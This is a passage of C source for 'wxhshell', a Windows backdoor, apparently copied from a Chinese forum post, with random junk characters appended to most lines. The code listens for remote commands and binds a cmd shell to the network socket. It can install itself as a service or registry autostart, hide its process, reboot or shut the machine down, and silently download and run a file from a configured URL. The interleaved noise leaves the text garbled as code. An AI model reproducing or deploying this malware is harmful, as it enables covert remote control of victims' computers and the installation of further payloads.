    switch(cmd[0]) { 0g y/:T  
  =9["+;\e&  
  // 帮助 |w1Bq  
  case '?': { FR4QUk  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }`QUHIF  
    break; JG!mc7  
  } Cc' 37~6~P  
  // 安装 +wvWwie  
  case 'i': { YYl4"l  
    if(Install()) Z/;(f L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H*&f:mfq  
    else }{qZ[/JwqN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EZy)A$|  
    break; QP^Cx=  
    } l7259Ro~  
  // 卸载 _A5e{Gb  
  case 'r': { (vPN5F  
    if(Uninstall()) ZaDyg"Tw+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )oDHeU<&  
    else z Rl3KjET  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '}JhzKNj  
    break; X!Mx5fg  
    } B=yqW  
  // 显示 wxhshell 所在路径 K{cD+=]{  
  case 'p': { V>)OpvoT#  
    char svExeFile[MAX_PATH]; t?ZI".>  
    strcpy(svExeFile,"\n\r"); ^ft>@=K(|  
      strcat(svExeFile,ExeFile); YEs&  
        send(wsh,svExeFile,strlen(svExeFile),0); 7>|J8*/Nd  
    break; ,o{9$H5{  
    } *:YiimOY"  
  // 重启 DiScFx |rE  
  case 'b': { KRLQ #,9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3yY}04[9<  
    if(Boot(REBOOT)) (G u zN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >#;.n(y  
    else { ?WUA`/[z  
    closesocket(wsh); c74.< @w  
    ExitThread(0); "XKy#[d2  
    } m )zUU  
    break; ^ f &XQQY  
    } ICoHI  
  // 关机 .hP D$o  
  case 'd': { I^]2K0+x x  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yw[g!W  
    if(Boot(SHUTDOWN)) NP#w +Qw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /k6MzFoid  
    else { *{@Nq=fE  
    closesocket(wsh);  u\x}8pn  
    ExitThread(0); ='sHj4hU  
    } *@r/5pM2}  
    break; 69?wc!  
    } 2c,9e`  
  // 获取shell vNY{j7l/W  
  case 's': { ygS;$2m%2  
    CmdShell(wsh); y$F'(b| )  
    closesocket(wsh); AGO+p(6d=g  
    ExitThread(0); Ae^~Cz1qz  
    break; 3!Ij;$  
  } tr3! d_  
  // 退出 p8H'{f\G  
  case 'x': { -.@r#d/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A*R^n}sh  
    CloseIt(wsh); ZW8vza  
    break; y8Z_Itlf  
    } }wjw:M  
  // 离开 Mzw<{*:r  
  case 'q': { cAqLE\h  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); fZzoAzfv2  
    closesocket(wsh); KKPh~ThC  
    WSACleanup();  E`0?  
    exit(1); C8:f_mJU  
    break; [M}{G5U.  
        } '8. r-`l(  
  } /?'FE 7Y  
  } <X^@*79m  
eIEeb,#i  
  // 提示信息 /cdC'g  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |`,2ri*5A  
} \fr~  
  } IH&|Tcf\  
V`d,qn)i  
  return; +wU@ynw  
} S_4?K)n #  
=^f<v_L  
// shell模块句柄 ~ 'H ]jN  
int CmdShell(SOCKET sock) n;C :0  
{ _|\~q[ep  
STARTUPINFO si; GPv1fearl  
ZeroMemory(&si,sizeof(si)); LTCb@L{^i  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YnS#H"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T_ <@..C  
PROCESS_INFORMATION ProcessInfo; S9D<8j^  
char cmdline[]="cmd"; #PW9:_BE  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); oUr66a/[U  
  return 0; f4b/NG|  
} $q{!5-e  
_QE qk@ql  
// 自身启动模式 x7w4[QYw  
int StartFromService(void) nFe<w  
{ t%FwXaO#  
typedef struct <CiSK!  
{ ]t,BMu=%  
  DWORD ExitStatus; O`\;e>!t  
  DWORD PebBaseAddress; @6sqMw}  
  DWORD AffinityMask; |\t-g" ~sN  
  DWORD BasePriority; KYhwOGN  
  ULONG UniqueProcessId; b<ZIWfs  
  ULONG InheritedFromUniqueProcessId; 9(7-{,c  
}   PROCESS_BASIC_INFORMATION; uEP*iPLD@  
aEWWP]  
PROCNTQSIP NtQueryInformationProcess; ^j7Vt2-  
6=/F$|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A#<?4&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V>LwqS~`  
.},'~NM]  
  HANDLE             hProcess; yNo0ubY  
  PROCESS_BASIC_INFORMATION pbi; h0f;F@I  
`r':by0M  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); eA?RK.e  
  if(NULL == hInst ) return 0; fu ,}1Mq#  
$G+@_'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); EjR9JUu  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5yo%$i8I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k FD; i  
)[IC?U:5I  
  if (!NtQueryInformationProcess) return 0; 'ya{9EdlT  
H;LViP2K*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =zPCrEk0  
  if(!hProcess) return 0; 7"x;~X  
g%I"U>!2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xml7Uarc  
|F[+k e  
  CloseHandle(hProcess); -20bPiM$A  
hEH?[>9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s`8= 3]w  
if(hProcess==NULL) return 0; iC~^)-~H=w  
9T9!kb  
HMODULE hMod; _Y4` xv0/  
char procName[255]; Y =I'czg  
unsigned long cbNeeded; =v&hWjP  
iy!=6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n'LrQU  
Uz8ff  
  CloseHandle(hProcess); #A/  
 'KL0@l  
if(strstr(procName,"services")) return 1; // 以服务启动 o[w:1q7  
]p GL`ge5  
  return 0; // 注册表启动 6l x>>J!H  
} eJ-xsH*8  
p)-^;=<B3  
// 主模块 q3N jky1w  
int StartWxhshell(LPSTR lpCmdLine) o#Dk& cH  
{ ()?(I?II  
  SOCKET wsl; `UaD6Mc<Mz  
BOOL val=TRUE; +GN(Ug'R  
  int port=0; `HSKQ52  
  struct sockaddr_in door; _< V)-Y  
^ VyKd  
  if(wscfg.ws_autoins) Install(); ,R\ \%  
3(N$nsi  
port=atoi(lpCmdLine); MKk\ u9  
B dfwa  
if(port<=0) port=wscfg.ws_port; xm~`7~nFR  
_D&598xx  
  WSADATA data; |SSSH  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /C:gKy4  
s!zx} 5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o5PO =AN  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rXP,\ ]r+  
  door.sin_family = AF_INET; AV]2 euyn  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); my1@41 H  
  door.sin_port = htons(port); l|[N42+  
*:7rdzn  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v!-pSa)3  
closesocket(wsl); q YQl,w  
return 1; !9e=_mY  
} Ge@{_  
`/+>a8  
  if(listen(wsl,2) == INVALID_SOCKET) { h,N?Ab'S  
closesocket(wsl); i1d'nxk6  
return 1; EME|k{W  
} ;JT-kw6l5K  
  Wxhshell(wsl); `$ 9x1dx  
  WSACleanup(); N>`Aw^ _@&  
+Kc  
return 0; &r /Mi%  
nR~@#P\  
} T?0eVvM  
BDDlQci38  
// 以NT服务方式启动 vA{-{Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F/{!tx  
{ T'9'G M  
DWORD   status = 0; Sz`,X0a  
  DWORD   specificError = 0xfffffff; t3_O H^  
0#hlsfc]\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zC!t;*8a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `U_)98  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6d}lw6L  
  serviceStatus.dwWin32ExitCode     = 0; /{_:{G!Q0  
  serviceStatus.dwServiceSpecificExitCode = 0;  V}CG:9;  
  serviceStatus.dwCheckPoint       = 0; cuI TY^6  
  serviceStatus.dwWaitHint       = 0; K69'6?#  
h438`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  mq.`X:e  
  if (hServiceStatusHandle==0) return; C< tl/NC  
dZ@63a>>@  
status = GetLastError(); {JT&w6Jz  
  if (status!=NO_ERROR) f8dB-FlMm  
{ &p@O _0nF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6nvz8f3*r]  
    serviceStatus.dwCheckPoint       = 0; Yj49t_$b  
    serviceStatus.dwWaitHint       = 0; qyTU8Wp  
    serviceStatus.dwWin32ExitCode     = status; p6V0`5@t  
    serviceStatus.dwServiceSpecificExitCode = specificError; $6 f3F?y7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^ZcGY+/~  
    return; TD0 B%  
  } /([kh~a  
J*M>6Q.)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %tGO?JMkd  
  serviceStatus.dwCheckPoint       = 0; Bwxd&;E  
  serviceStatus.dwWaitHint       = 0; \R_C&=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gwMNYMI  
} _G@GpkSe>  
ZY+qA  
// 处理NT服务事件,比如:启动、停止 d#FQc18v}k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?:q*(EC<  
{ XRi8Gpg  
switch(fdwControl) Q1 97mN+0  
{ 73;GW4,  
case SERVICE_CONTROL_STOP: CD~.z7,LC  
  serviceStatus.dwWin32ExitCode = 0; 7?_CcRe  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L="}E rmK  
  serviceStatus.dwCheckPoint   = 0; $U~]=.n  
  serviceStatus.dwWaitHint     = 0; )Aqtew+A&  
  { PJH&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3]S$ih&A  
  } gM:".Ee  
  return; :$c |  
case SERVICE_CONTROL_PAUSE: ;.980+i1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;e*!S}C,  
  break; 7!E,V:bt'  
case SERVICE_CONTROL_CONTINUE: } q8ASYNc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; zrb}_  
  break;  =7eV/3  
case SERVICE_CONTROL_INTERROGATE: 8d'0N  
  break; W'TZ%K) I  
}; ^1.By^ $  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S,he6zS  
} t{{QE:/  
|CyE5i0  
// 标准应用程序主函数 5$k:t  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [4f{w%~^  
{ j\M?~=*w  
@o`AmC . 8  
// 获取操作系统版本 L!xi  
OsIsNt=GetOsVer(); Gd85kY@w7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i XjM.G  
?Ir:g=RP*  
  // 从命令行安装 ;4\;mmLVk  
  if(strpbrk(lpCmdLine,"iI")) Install(); &6VnySE?  
i/Zd8+.n$  
  // 下载执行文件 7%M_'P4 V  
if(wscfg.ws_downexe) { 3Y$GsN4ln  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q$"D]!G  
  WinExec(wscfg.ws_filenam,SW_HIDE); FYQS)s  
} ;2QP7PrSY  
T>W,'H  
if(!OsIsNt) { ]Y&VT7+Z  
// 如果时win9x,隐藏进程并且设置为注册表启动 +ZP7{%  
HideProc(); @r1_U,0e  
StartWxhshell(lpCmdLine); f/?P514h  
} r~['VhI!;E  
else ECmW`#Otb)  
  if(StartFromService()) Z% UP6%  
  // 以服务方式启动 ,ig/s2ZG6X  
  StartServiceCtrlDispatcher(DispatchTable); $XH^~i;  
else (T oUgVW1N  
  // 普通方式启动 xAm6BB c  
  StartWxhshell(lpCmdLine); Ny/MJ#Lq  
$F.a><1rY  
return 0; [$UI8tV  
}
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只看该作者 1 发表于: 2006-10-10
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